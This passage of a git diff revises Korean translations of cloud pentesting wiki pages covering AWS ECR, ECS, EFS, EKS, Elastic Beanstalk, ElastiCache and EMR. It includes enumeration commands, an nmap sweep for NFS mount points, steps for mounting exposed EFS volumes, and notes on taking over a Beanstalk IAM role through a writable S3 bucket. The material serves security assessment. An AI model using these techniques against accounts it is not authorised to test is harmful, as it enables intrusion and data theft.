`public.ecr.aws//`와 같습니다. `` 부분은 관리자가 기억하기 쉬운 다른 문자열로 변경할 수 있습니다. +- **공용 접근성**: ECR 공용 레지스트리에 저장된 컨테이너 이미지는 **인터넷의 누구나 인증 없이 접근할 수 있습니다.** +- **공용 저장소**의 URI는 `public.ecr.aws//`과 같습니다. `` 부분은 관리자가 기억하기 쉬운 다른 문자열로 변경할 수 있습니다. **저장소** -이들은 **프라이빗 레지스트리** 또는 **퍼블릭**에 있는 **이미지**입니다. +이들은 **개인 레지스트리** 또는 **공용**에 있는 **이미지**입니다. > [!NOTE] > 이미지를 저장소에 업로드하려면 **ECR 저장소가 이미지와 동일한 이름을 가져야 합니다**. #### 레지스트리 및 저장소 정책 -**레지스트리 및 저장소**는 **다른 주체/계정에 권한을 부여하는 데 사용할 수 있는 정책**도 가지고 있습니다. 예를 들어, 다음 저장소 정책 이미지에서 조직 전체의 모든 사용자가 이미지를 접근할 수 있는 방법을 볼 수 있습니다: +**레지스트리 및 저장소**는 **다른 주체/계정에 권한을 부여하는 데 사용할 수 있는 정책**도 가지고 있습니다. 예를 들어, 다음 저장소 정책 이미지에서 전체 조직의 모든 사용자가 이미지를 접근할 수 있는 방법을 볼 수 있습니다:
@@ -93,7 +93,7 @@ aws ecr get-repository-policy --repository-name ../aws-persistence/aws-ecr-persistence.md {{#endref}} -## 참조 +## 참고자료 - [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index ef10d52a6..57bfb1840 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,26 +6,26 @@ ### 기본 정보 -Amazon **Elastic Container Services** 또는 ECS는 **클라우드에서 컨테이너화된 애플리케이션을 호스팅하는 플랫폼**을 제공합니다. ECS에는 **EC2** 인스턴스 유형과 **서버리스** 옵션인 **Fargate**의 두 가지 **배포** 방법이 있습니다. 이 서비스는 **클라우드에서 컨테이너를 실행하는 것을 매우 쉽고 문제 없이 만들어 줍니다**. +Amazon **Elastic Container Services** 또는 ECS는 **클라우드에서 컨테이너화된 애플리케이션을 호스팅하는 플랫폼**을 제공합니다. ECS에는 **EC2** 인스턴스 유형과 **서버리스** 옵션인 **Fargate**의 두 가지 **배포** 방법이 있습니다. 이 서비스는 **클라우드에서 컨테이너를 실행하는 것을 매우 쉽고 간편하게** 만듭니다. ECS는 다음 세 가지 구성 요소를 사용하여 운영됩니다: **클러스터**, **서비스**, 및 **작업 정의**. -- **클러스터**는 **클라우드에서 실행 중인 컨테이너 그룹**입니다. 앞서 언급했듯이, 컨테이너에는 EC2와 Fargate의 두 가지 시작 유형이 있습니다. AWS는 **EC2** 시작 유형을 고객이 “\[그들의\] 컨테이너화된 애플리케이션을 \[그들이\] **관리하는** Amazon EC2 인스턴스 클러스터에서 실행할 수 있도록 허용하는 것”으로 정의합니다. **Fargate**는 유사하며 “\[컨테이너화된\] 애플리케이션을 **백엔드 인프라를 프로비저닝하고 관리할 필요 없이** 실행할 수 있도록 허용하는 것”으로 정의됩니다. +- **클러스터**는 **클라우드에서 실행 중인 컨테이너 그룹**입니다. 앞서 언급했듯이, 컨테이너에는 EC2와 Fargate의 두 가지 시작 유형이 있습니다. AWS는 **EC2** 시작 유형을 고객이 “\[그들의\] 컨테이너화된 애플리케이션을 Amazon EC2 인스턴스 클러스터에서 \[그들이\] **관리**할 수 있도록 하는 것”으로 정의합니다. **Fargate**는 유사하며 “\[당신이\] 백엔드 인프라를 프로비저닝하고 관리할 필요 없이 **컨테이너화된 애플리케이션을 실행할 수 있도록 하는 것**”으로 정의됩니다. - **서비스**는 클러스터 내에서 생성되며 **작업을 실행하는** 역할을 합니다. 서비스 정의 내에서 **실행할 작업 수, 자동 확장, 용량 제공자(Fargate/EC2/External),** **네트워킹** 정보(예: VPC, 서브넷, 보안 그룹)를 정의합니다. -- **2가지 유형의 애플리케이션**이 있습니다: +- **애플리케이션 유형**은 **2가지**입니다: - **서비스**: 중단 및 재시작할 수 있는 장기 실행 컴퓨팅 작업을 처리하는 작업 그룹입니다. 예를 들어, 웹 애플리케이션입니다. - **작업**: 실행되고 종료되는 독립형 작업입니다. 예를 들어, 배치 작업입니다. - 서비스 애플리케이션 중에는 **2가지 유형의 서비스 스케줄러**가 있습니다: -- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): 복제 스케줄링 전략은 클러스터 전반에 걸쳐 **원하는 수의** 작업을 배치하고 **유지합니다**. 어떤 이유로 작업이 종료되면, 동일한 또는 다른 노드에서 새로운 작업이 시작됩니다. -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): 필요한 요구 사항이 있는 각 활성 컨테이너 인스턴스에서 정확히 하나의 작업을 배포합니다. 원하는 작업 수, 작업 배치 전략 또는 서비스 자동 확장 정책을 지정할 필요가 없습니다. -- **작업 정의**는 **어떤 컨테이너가 실행될지를 정의**하고 호스트와의 **포트 매핑**, **환경 변수**, Docker **entrypoint** 등과 같은 다양한 매개변수를 구성하는 역할을 합니다. +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): 복제 스케줄링 전략은 클러스터 전반에 걸쳐 **원하는 수의** 작업을 배치하고 **유지**합니다. 어떤 이유로 작업이 종료되면, 동일한 또는 다른 노드에서 새로운 작업이 시작됩니다. +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): 필요한 요구 사항이 있는 각 활성 컨테이너 인스턴스에 정확히 하나의 작업을 배포합니다. 원하는 작업 수, 작업 배치 전략 또는 서비스 자동 확장 정책을 지정할 필요가 없습니다. +- **작업 정의**는 **실행될 컨테이너를 정의하는** 역할을 하며, 호스트와의 **포트 매핑**, **환경 변수**, Docker **entrypoint**와 같은 다양한 매개변수를 구성합니다. - **민감한 정보에 대한 env 변수를 확인하세요**! ### 작업 정의의 민감한 데이터 -작업 정의는 **ECS에서 실행될 실제 컨테이너를 구성하는** 역할을 합니다. 작업 정의는 컨테이너가 어떻게 실행될지를 정의하므로, 그 안에는 다양한 정보가 포함될 수 있습니다. +작업 정의는 **ECS에서 실행될 실제 컨테이너를 구성하는** 역할을 합니다. 작업 정의는 컨테이너가 어떻게 실행될지를 정의하므로, 그 안에는 많은 정보가 포함될 수 있습니다. -Pacu는 ECS를 열거할 수 있습니다(리스트 클러스터, 리스트 컨테이너 인스턴스, 리스트 서비스, 리스트 작업 정의), 작업 정의를 덤프할 수도 있습니다. +Pacu는 ECS를 열거할 수 있습니다(리스트 클러스터, 리스트 컨테이너 인스턴스, 리스트 서비스, 리스트 작업 정의), 또한 작업 정의를 덤프할 수 있습니다. ### 열거 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 39fcfa7b8..b13537a84 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -6,15 +6,15 @@ ### 기본 정보 -Amazon Elastic File System (EFS)는 AWS에 의해 **완전 관리형, 확장 가능 및 탄력적인 네트워크 파일 시스템**으로 제공됩니다. 이 서비스는 여러 EC2 인스턴스와 기타 AWS 서비스가 동시에 접근할 수 있는 **파일 시스템**의 생성 및 구성을 용이하게 합니다. EFS의 주요 기능에는 수동 개입 없이 자동으로 확장할 수 있는 능력, 저지연 액세스 제공, 고처리량 작업 부하 지원, 데이터 내구성 보장, 다양한 AWS 보안 메커니즘과의 원활한 통합이 포함됩니다. +Amazon Elastic File System (EFS)는 AWS에 의해 **완전 관리형, 확장 가능 및 탄력적인 네트워크 파일 시스템**으로 제공됩니다. 이 서비스는 여러 EC2 인스턴스 및 기타 AWS 서비스가 동시에 접근할 수 있는 **파일 시스템**의 생성 및 구성을 용이하게 합니다. EFS의 주요 기능에는 수동 개입 없이 자동으로 확장할 수 있는 능력, 저지연 액세스 제공, 고처리량 작업 부하 지원, 데이터 내구성 보장, 다양한 AWS 보안 메커니즘과의 원활한 통합이 포함됩니다. **기본적으로**, 마운트할 EFS 폴더는 **`/`**이지만 **다른 이름**을 가질 수 있습니다. ### 네트워크 액세스 -EFS는 VPC에서 생성되며 **기본적으로 모든 VPC 서브네트워크에서 접근 가능**합니다. 그러나 EFS에는 보안 그룹이 있습니다. EFS를 마운트하기 위해 **EC2**(또는 기타 AWS 서비스)에 액세스를 제공하려면, **EFS 보안 그룹에서 EC2 보안 그룹으로부터의 인바운드 NFS**(2049 포트) **규칙을 허용해야** 합니다. +EFS는 VPC에서 생성되며 **기본적으로 모든 VPC 서브네트워크에서 접근할 수 있습니다**. 그러나 EFS는 보안 그룹을 가집니다. EFS를 마운트하기 위해 **EC2**(또는 다른 AWS 서비스)에 액세스를 제공하려면, **EFS 보안 그룹에서 EC2 보안 그룹으로부터의 인바운드 NFS**(2049 포트) **규칙을 허용해야 합니다**. -이 없이는 **NFS 서비스에 연락할 수 없습니다**. +이것이 없으면 **NFS 서비스에 연락할 수 없습니다**. 이 작업을 수행하는 방법에 대한 자세한 정보는 다음을 확인하세요: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) @@ -39,9 +39,9 @@ aws efs describe-replication-configurations sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` > [!CAUTION] -> EFS 마운트 포인트가 동일한 VPC 내에 있지만 다른 서브넷에 있을 수 있습니다. 모든 **EFS 포인트를 찾고 싶다면 `/16` 넷마스크를 스캔하는 것이 좋습니다**. +> EFS 마운트 포인트가 동일한 VPC 내에 있지만 다른 서브넷에 있을 수 있습니다. 모든 **EFS 포인트를 찾으려면 `/16` 넷마스크를 스캔하는 것이 좋습니다**. -### Mount EFS +### EFS 마운트 ```bash sudo mkdir /efs @@ -55,9 +55,9 @@ sudo yum install amazon-efs-utils # If centos sudo apt-get install amazon-efs-utils # If ubuntu sudo mount -t efs :/ /efs/ ``` -### IAM Access +### IAM 접근 -기본적으로 EFS에 **네트워크 접근이 있는 누구나** 이를 마운트하고, **루트 사용자로서 읽고 쓸 수 있습니다**. 그러나 파일 시스템 정책이 설정되어 **특정 권한을 가진 주체만 접근할 수 있도록** 할 수 있습니다.\ +기본적으로 EFS에 대한 네트워크 접근 권한이 있는 누구나 **마운트하고, 읽고 쓸 수 있으며, 루트 사용자로도 가능합니다**. 그러나 파일 시스템 정책이 설정되어 **특정 권한을 가진 주체만 접근할 수 있도록** 할 수 있습니다.\ 예를 들어, 이 파일 시스템 정책은 **IAM 권한이 없으면** 파일 시스템을 **마운트하는 것도 허용하지 않습니다**: ```json { @@ -81,7 +81,7 @@ sudo mount -t efs :/ /efs/ ] } ``` -또는 이것은 **익명 접근을 방지**합니다: +이것은 **익명 접근을 방지**합니다:
@@ -94,24 +94,24 @@ sudo mount -t efs -o tls,iam :/ /efs/ ``` ### Access Points -**Access points**는 **EFS 파일 시스템**에 대한 **애플리케이션**-특정 진입점으로, 애플리케이션이 공유 데이터 세트에 접근하는 것을 더 쉽게 관리할 수 있게 해줍니다. +**액세스 포인트**는 **EFS 파일 시스템**에 대한 **애플리케이션** 특정 진입점으로, 애플리케이션이 공유 데이터 세트에 접근하는 것을 더 쉽게 관리할 수 있게 해줍니다. -액세스 포인트를 생성할 때, 액세스 포인트를 통해 생성된 파일 및 디렉토리에 대한 **소유자 및 POSIX 권한**을 **지정할 수 있습니다**. 또한 **기존 디렉토리를 지정하거나 원하는 권한으로 새 디렉토리를 생성하여** 액세스 포인트에 대한 **사용자 정의 루트 디렉토리**를 **정의할 수 있습니다**. 이를 통해 **애플리케이션 또는 사용자별로 EFS 파일 시스템에 대한 접근을 제어**할 수 있어, 공유 파일 데이터를 더 쉽게 관리하고 보호할 수 있습니다. +액세스 포인트를 생성할 때, 액세스 포인트를 통해 생성된 파일 및 디렉토리에 대한 **소유자 및 POSIX 권한**을 **지정할 수 있습니다**. 또한, 기존 디렉토리를 지정하거나 원하는 권한으로 새 디렉토리를 생성하여 액세스 포인트에 대한 **사용자 정의 루트 디렉토리**를 **정의할 수 있습니다**. 이를 통해 **애플리케이션 또는 사용자별로 EFS 파일 시스템에 대한 접근을 제어**할 수 있어, 공유 파일 데이터를 더 쉽게 관리하고 보호할 수 있습니다. -**다음과 같은 방법으로 액세스 포인트에서 파일 시스템을 마운트할 수 있습니다:** +**액세스 포인트에서 파일 시스템을 다음과 같이 마운트할 수 있습니다:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> NFS 서비스를 **네트워크를 통해 연락할 수 있어야** 하며, EFS에 파일 시스템 **정책**이 있는 경우, 이를 마운트하기 위해 **충분한 IAM 권한**이 필요하다는 점에 유의하십시오. +> NFS 서비스를 **네트워크를 통해 연락할 수 있어야** 하며, EFS에 파일 시스템 **정책**이 있는 경우, 이를 마운트하기 위해 **충분한 IAM 권한**이 필요하다는 점에 유의하세요. 액세스 포인트는 다음과 같은 용도로 사용될 수 있습니다: - **권한 관리 단순화**: 각 액세스 포인트에 대해 POSIX 사용자 및 그룹을 정의함으로써, 기본 파일 시스템의 권한을 수정하지 않고도 다양한 애플리케이션이나 사용자에 대한 접근 권한을 쉽게 관리할 수 있습니다. -- **루트 디렉토리 강제**: 액세스 포인트는 EFS 파일 시스템 내의 특정 디렉토리에 대한 접근을 제한할 수 있어, 각 애플리케이션이나 사용자가 지정된 폴더 내에서 작업하도록 보장합니다. 이는 우발적인 데이터 노출이나 수정을 방지하는 데 도움이 됩니다. -- **파일 시스템 접근 용이**: 액세스 포인트는 AWS Lambda 함수나 AWS Fargate 작업과 연결될 수 있어, 서버리스 및 컨테이너화된 애플리케이션에 대한 파일 시스템 접근을 단순화합니다. +- **루트 디렉터리 강제 적용**: 액세스 포인트는 EFS 파일 시스템 내의 특정 디렉터리에 대한 접근을 제한할 수 있어, 각 애플리케이션이나 사용자가 지정된 폴더 내에서 작업하도록 보장합니다. 이는 우발적인 데이터 노출이나 수정을 방지하는 데 도움이 됩니다. +- **파일 시스템 접근 용이성**: 액세스 포인트는 AWS Lambda 함수나 AWS Fargate 작업과 연결될 수 있어, 서버리스 및 컨테이너화된 애플리케이션에 대한 파일 시스템 접근을 단순화합니다. ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index fc1eb59ae..70d574d62 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,11 +4,11 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS)는 사용자가 자체 Kubernetes 제어 평면 또는 노드를 설치, 운영 및 관리할 필요성을 없애도록 설계되었습니다. 대신, Amazon EKS는 이러한 구성 요소를 관리하여 AWS에서 Kubernetes를 사용하여 컨테이너화된 애플리케이션을 배포, 관리 및 확장하는 간소화된 방법을 제공합니다. +Amazon Elastic Kubernetes Service (Amazon EKS)는 사용자가 자체 Kubernetes 제어 플레인 또는 노드를 설치, 운영 및 관리할 필요성을 없애도록 설계되었습니다. 대신, Amazon EKS는 이러한 구성 요소를 관리하여 AWS에서 Kubernetes를 사용하여 컨테이너화된 애플리케이션을 배포, 관리 및 확장하는 간소화된 방법을 제공합니다. Amazon EKS의 주요 측면은 다음과 같습니다: -1. **관리형 Kubernetes 제어 평면**: Amazon EKS는 패치, 노드 프로비저닝 및 업데이트와 같은 중요한 작업을 자동화합니다. +1. **관리형 Kubernetes 제어 플레인**: Amazon EKS는 패치, 노드 프로비저닝 및 업데이트와 같은 중요한 작업을 자동화합니다. 2. **AWS 서비스와의 통합**: 컴퓨팅, 스토리지, 데이터베이스 및 보안을 위한 AWS 서비스와의 원활한 통합을 제공합니다. 3. **확장성 및 보안**: Amazon EKS는 고가용성과 보안을 위해 설계되었으며, 자동 확장 및 설계에 의한 격리와 같은 기능을 제공합니다. 4. **Kubernetes와의 호환성**: Amazon EKS에서 실행되는 애플리케이션은 표준 Kubernetes 환경에서 실행되는 애플리케이션과 완전히 호환됩니다. @@ -37,7 +37,7 @@ aws eks describe-update --name --update-id ../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -## 참조 +## 참고 문헌 - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 412c911e0..d66ce255a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,69 +4,69 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk는 **웹 애플리케이션 및 서비스의 배포, 관리 및 확장을 위한 간소화된 플랫폼**을 제공합니다. Java, .NET, PHP, Node.js, Python, Ruby, Go와 같은 다양한 프로그래밍 언어와 프레임워크, 그리고 Docker 컨테이너를 지원합니다. 이 서비스는 Apache, Nginx, Passenger, IIS와 같은 널리 사용되는 서버와 호환됩니다. +Amazon Elastic Beanstalk는 **웹 애플리케이션 및 서비스의 배포, 관리 및 확장을 위한 간소화된 플랫폼**을 제공합니다. Java, .NET, PHP, Node.js, Python, Ruby, Go와 같은 다양한 프로그래밍 언어와 프레임워크를 지원하며, Docker 컨테이너도 지원합니다. 이 서비스는 Apache, Nginx, Passenger 및 IIS와 같은 널리 사용되는 서버와 호환됩니다. -Elastic Beanstalk는 **AWS 클라우드에 애플리케이션을 배포하는 간단하고 유연한 방법**을 제공합니다. 기본 인프라에 대해 걱정할 필요가 없습니다. 이 서비스는 용량 **프로비저닝**, 로드 **밸런싱**, **스케일링**, 애플리케이션 건강 **모니터링**의 세부 사항을 **자동으로** 처리하여 코드 작성 및 배포에 집중할 수 있도록 합니다. +Elastic Beanstalk는 **AWS 클라우드에 애플리케이션을 배포하는 간단하고 유연한 방법**을 제공하며, 기본 인프라에 대한 걱정 없이 사용할 수 있습니다. 이 서비스는 **자동으로** 용량 **프로비저닝**, 로드 **밸런싱**, **스케일링**, 애플리케이션 건강 **모니터링**의 세부 사항을 처리하여 코드 작성 및 배포에 집중할 수 있도록 합니다. -Elastic Beanstalk에 의해 생성된 인프라는 **EC2**의 **Autoscaling** 그룹에 의해 관리됩니다(로드 밸런서 포함). 즉, 하루가 끝나면 **호스트를 타협**하면 EC2에 대해 알아야 합니다: +Elastic Beanstalk에 의해 생성된 인프라는 **EC2**의 **Autoscaling** 그룹에 의해 관리됩니다(로드 밸런서 포함). 즉, 결국 **호스트를 타협**하게 되면 EC2에 대해 알아야 합니다: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -또한 Docker가 사용되는 경우 **ECS**를 사용할 수 있습니다. +또한 Docker를 사용하는 경우 **ECS**를 사용할 수 있습니다. {{#ref}} aws-eks-enum.md {{#endref}} -### 애플리케이션 및 환경 +### Application & Environments AWS Elastic Beanstalk에서 "애플리케이션"과 "환경"의 개념은 서로 다른 목적을 가지고 있으며 배포 프로세스에서 뚜렷한 역할을 합니다. -#### 애플리케이션 +#### Application -- Elastic Beanstalk의 애플리케이션은 **애플리케이션의 소스 코드, 환경 및 구성의 논리적 컨테이너**입니다. 애플리케이션 코드의 다양한 버전을 그룹화하고 이를 단일 엔티티로 관리할 수 있습니다. -- 애플리케이션을 생성할 때 이름과 **설명을 제공하지만 이 단계에서는 리소스가 프로비저닝되지 않습니다**. 이는 단순히 코드 및 관련 리소스를 조직하고 관리하는 방법입니다. +- Elastic Beanstalk의 애플리케이션은 **애플리케이션의 소스 코드, 환경 및 구성의 논리적 컨테이너**입니다. 이는 애플리케이션 코드의 다양한 버전을 그룹화하고 이를 단일 엔터티로 관리할 수 있게 합니다. +- 애플리케이션을 생성할 때 이름과 **설명을 제공하지만, 이 단계에서는 리소스가 프로비저닝되지 않습니다**. 이는 단순히 코드와 관련 리소스를 조직하고 관리하는 방법입니다. - 애플리케이션 내에서 **여러 애플리케이션 버전**을 가질 수 있습니다. 각 버전은 코드의 특정 릴리스에 해당하며, 하나 이상의 환경에 배포될 수 있습니다. -#### 환경 +#### Environment - 환경은 AWS 인프라에서 실행되는 **애플리케이션의 프로비저닝된 인스턴스**입니다. 이는 **애플리케이션 코드가 배포되고 실행되는 곳**입니다. Elastic Beanstalk는 환경 구성에 따라 필요한 리소스(예: EC2 인스턴스, 로드 밸런서, 오토 스케일링 그룹, 데이터베이스)를 프로비저닝합니다. - **각 환경은 애플리케이션의 단일 버전을 실행**하며, 개발, 테스트, 스테이징 및 프로덕션과 같은 다양한 목적을 위해 여러 환경을 가질 수 있습니다. -- 환경을 생성할 때 플랫폼(예: Java, .NET, Node.js 등)과 환경 유형(예: 웹 서버 또는 작업자)을 선택합니다. 인프라 및 애플리케이션 설정의 다양한 측면을 제어하기 위해 환경 구성을 사용자 정의할 수도 있습니다. +- 환경을 생성할 때 플랫폼(예: Java, .NET, Node.js 등)과 환경 유형(예: 웹 서버 또는 작업자)을 선택합니다. 또한 인프라 및 애플리케이션 설정의 다양한 측면을 제어하기 위해 환경 구성을 사용자 정의할 수 있습니다. -### 2가지 유형의 환경 +### 2 types of Environments -1. **웹 서버 환경**: **웹 애플리케이션 및 API를 호스팅하고 제공**하도록 설계되었습니다. 이러한 애플리케이션은 일반적으로 들어오는 HTTP/HTTPS 요청을 처리합니다. 웹 서버 환경은 들어오는 트래픽을 처리하고 용량을 관리하며 애플리케이션의 높은 가용성을 보장하기 위해 **EC2 인스턴스, 로드 밸런서 및 오토 스케일링** 그룹과 같은 리소스를 프로비저닝합니다. -2. **작업자 환경**: **백그라운드 작업**을 처리하도록 설계되었습니다. 이러한 작업은 종종 시간이 많이 걸리거나 리소스를 많이 소모하는 작업으로, 클라이언트에 즉각적인 응답이 필요하지 않습니다. 작업자 환경은 **EC2 인스턴스 및 오토 스케일링 그룹**과 같은 리소스를 프로비저닝하지만, HTTP/HTTPS 요청을 직접 처리하지 않기 때문에 **로드 밸런서가 없습니다**. 대신, **Amazon Simple Queue Service (SQS) 큐**에서 작업을 소비하여 작업자 환경과 처리하는 작업 간의 버퍼 역할을 합니다. +1. **Web Server Environment**: 웹 애플리케이션 및 API를 **호스팅하고 제공**하기 위해 설계되었습니다. 이러한 애플리케이션은 일반적으로 들어오는 HTTP/HTTPS 요청을 처리합니다. 웹 서버 환경은 들어오는 트래픽을 처리하고 용량을 관리하며 애플리케이션의 높은 가용성을 보장하기 위해 **EC2 인스턴스, 로드 밸런서 및 오토 스케일링** 그룹과 같은 리소스를 프로비저닝합니다. +2. **Worker Environment**: **백그라운드 작업**을 처리하기 위해 설계되었습니다. 이러한 작업은 종종 시간이 많이 걸리거나 리소스를 많이 소모하는 작업으로, 클라이언트에 즉각적인 응답이 필요하지 않습니다. 작업자 환경은 **EC2 인스턴스 및 오토 스케일링 그룹**과 같은 리소스를 프로비저닝하지만, HTTP/HTTPS 요청을 직접 처리하지 않기 때문에 **로드 밸런서가 없습니다**. 대신, **Amazon Simple Queue Service (SQS) 큐**에서 작업을 소비하여 작업자 환경과 처리하는 작업 간의 버퍼 역할을 합니다. -### 보안 +### Security -Beanstalk에서 앱을 생성할 때 선택할 수 있는 3가지 매우 중요한 보안 옵션이 있습니다: +Beanstalk에서 앱을 생성할 때 선택해야 할 3가지 매우 중요한 보안 옵션이 있습니다: - **EC2 키 쌍**: 이는 애플리케이션을 실행하는 EC2 인스턴스에 접근할 수 있는 **SSH 키**입니다. - **IAM 인스턴스 프로필**: 이는 인스턴스가 가질 **인스턴스 프로필**입니다(**IAM 권한**). -- 자동 생성된 역할은 **`aws-elasticbeanstalk-ec2-role`**이라고 하며, 모든 ECS, 모든 SQS, DynamoDB elasticbeanstalk 및 elasticbeanstalk S3에 대해 흥미로운 접근 권한을 가지고 있습니다. AWS 관리 정책: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **서비스 역할**: 이는 **AWS 서비스가** 필요한 모든 작업을 수행하는 데 사용할 **역할**입니다. 내가 아는 한, 일반 AWS 사용자는 해당 역할에 접근할 수 없습니다. +- 자동 생성된 역할은 **`aws-elasticbeanstalk-ec2-role`**이라고 하며, AWS 관리 정책을 사용하여 모든 ECS, 모든 SQS, DynamoDB elasticbeanstalk 및 elasticbeanstalk S3에 대한 흥미로운 접근 권한을 가지고 있습니다: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **서비스 역할**: 이는 AWS 서비스가 필요한 모든 작업을 수행하는 데 사용할 **역할**입니다. 내가 아는 한, 일반 AWS 사용자는 해당 역할에 접근할 수 없습니다. - AWS에 의해 생성된 이 역할은 **`aws-elasticbeanstalk-service-role`**이라고 하며, AWS 관리 정책 [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) 및 [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions)를 사용합니다. 기본적으로 **메타데이터 버전 1은 비활성화되어 있습니다**:
-### 노출 +### Exposure Beanstalk 데이터는 **S3 버킷**에 다음 이름으로 저장됩니다: **`elasticbeanstalk--`**(AWS 콘솔에서 생성된 경우). 이 버킷 안에는 업로드된 **애플리케이션의 소스 코드**가 있습니다. 생성된 웹페이지의 **URL**은 **`http://-env...elasticbeanstalk.com/`**입니다. > [!WARNING] -> 버킷에 대한 **읽기 접근** 권한을 얻으면 **소스 코드를 읽고** 심지어 **민감한 자격 증명**을 찾을 수 있습니다. +> 버킷에 **읽기 접근** 권한이 있는 경우, **소스 코드를 읽을 수** 있으며, 심지어 **민감한 자격 증명**을 찾을 수 있습니다. > -> 버킷에 대한 **쓰기 접근** 권한을 얻으면 **소스 코드를 수정**하여 애플리케이션이 다음에 실행될 때 사용하는 **IAM 역할**을 **타협**할 수 있습니다. +> 버킷에 **쓰기 접근** 권한이 있는 경우, **소스 코드를 수정**하여 애플리케이션이 다음에 실행될 때 사용하는 **IAM 역할**을 **타협**할 수 있습니다. -### 열거 +### Enumeration ```bash # Find S3 bucket ACCOUNT_NUMBER= diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6f76f7717..c94f5c633 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCache는 고성능, 저지연 및 확장 가능한 솔루션을 제공하는 완전한 **관리형 인메모리 데이터 저장소 및 캐시 서비스**입니다. 두 가지 인기 있는 오픈 소스 인메모리 엔진인 **Redis와 Memcached**를 지원합니다. ElastiCache는 이러한 엔진의 **설정**, **관리** 및 **유지보수**를 **단순화**하여 개발자가 프로비저닝, 패치, 모니터링 및 **백업**과 같은 시간 소모적인 작업을 분산할 수 있도록 합니다. +AWS ElastiCache는 고성능, 저지연 및 확장 가능한 솔루션을 제공하는 완전한 **관리형 인메모리 데이터 저장소 및 캐시 서비스**입니다. 두 가지 인기 있는 오픈 소스 인메모리 엔진인 **Redis와 Memcached**를 지원합니다. ElastiCache는 이러한 엔진의 **설정**, **관리** 및 **유지보수**를 **단순화**하여 개발자가 프로비저닝, 패치, 모니터링 및 **백업**과 같은 시간 소모적인 작업을 분담할 수 있도록 합니다. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index e7f7e8a6c..088159300 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,7 +4,7 @@ ## EMR -AWS의 Elastic MapReduce (EMR) 서비스는 4.8.0 버전부터 **보안 구성** 기능을 도입하여 사용자가 EMR 클러스터 내에서 데이터가 저장 및 전송되는 동안 암호화 설정을 지정할 수 있도록 하여 데이터 보호를 강화합니다. EMR 클러스터는 Apache Hadoop 및 Spark와 같은 빅 데이터 프레임워크를 처리하도록 설계된 EC2 인스턴스의 확장 가능한 그룹입니다. +AWS의 Elastic MapReduce (EMR) 서비스는 4.8.0 버전부터 **보안 구성** 